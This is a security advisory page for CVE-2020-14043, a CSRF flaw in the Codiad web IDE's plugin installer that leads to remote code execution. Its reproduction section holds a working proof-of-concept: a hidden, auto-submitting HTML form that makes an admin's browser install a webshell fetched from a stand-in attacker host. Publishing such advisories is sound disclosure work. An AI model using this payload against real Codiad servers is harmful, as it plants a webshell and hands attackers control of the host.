---
title: "CX-2020-4279"
date: "2020-08-20T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4279/"
---

# CX-2020-4279

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2020-14043  **Published:** Aug 20, 2020

8.8 High Severity CSRF php RCE webshell

YN Yaniv Nizry  Reported by Checkmarx Zero

Details Overview

## Summary

A Cross Side Request Forgery (CSRF) vulnerability was found in Codiad. The request to download a plugin from the marketplace is only available to admin users and it isn’t CSRF protected. This might cause admins to make a vulnerable request without them knowing and result in an RCE.

## Product

Codiad from v1.7.8.

## Impact

An malicious link sent to the an admin can result in a webshell on the server.

## Steps to reproduce

```
<html><head></head>
<body>
<form style="opacity: 0;" action="http://[Codiad-url]/components/market/controller.php?action=install&type=&name=Manually&repo=http://evilWebSite/webshell/webshell.zip?a=" method="GET">
<button>submit</button>
</form>
<script>document.querySelector('form').submit();</script>
</body></html>
```

### Expected result:

A webshell from `http://evilWebSite/webshell/webshell.zip` will be downloaded to the server.

## Remediation

There is no fixed version of Codiad.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [Yaniv Nizry](https://twitter.com/ynizry).

## Resources

1. [Issue](https://github.com/Codiad/Codiad/issues/1122)

0  High Severity CVSS v3.1 Score

   8.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Disclosed May 11, 2020 Notified the maintainer
2. Disclosed Aug 20, 2020 Opened an issue on github

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)